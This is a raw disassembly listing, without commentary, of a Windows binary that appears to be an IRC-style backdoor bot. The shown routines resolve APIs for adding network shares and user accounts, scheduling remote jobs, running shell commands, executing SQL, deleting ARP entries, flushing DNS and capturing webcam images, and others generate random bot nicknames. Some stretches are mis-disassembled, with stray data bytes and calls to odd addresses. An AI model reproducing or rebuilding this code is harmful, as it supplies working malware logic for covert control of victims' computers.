		call	near ptr 26A0CA7h
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		call	near ptr 26A0CA7h
		nop
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		call	near ptr 26A0CA7h
		nop
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26B0C98h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 0E8h
; ---------------------------------------------------------------------------
		js	short loc_40AB7F
		sub	al, [edx]
		nop
		push	eax
		call	sub_41C2B8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_429138 ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB72


loc_40AB4C:				; CODE XREF: ___:0040AB70j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AB4C


loc_40AB72:				; CODE XREF: ___:0040AB4Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26B0C98h


loc_40AB7F:				; CODE XREF: ___:0040AB1Cj
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26B0C98h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26F0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26F0601h
		nop
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


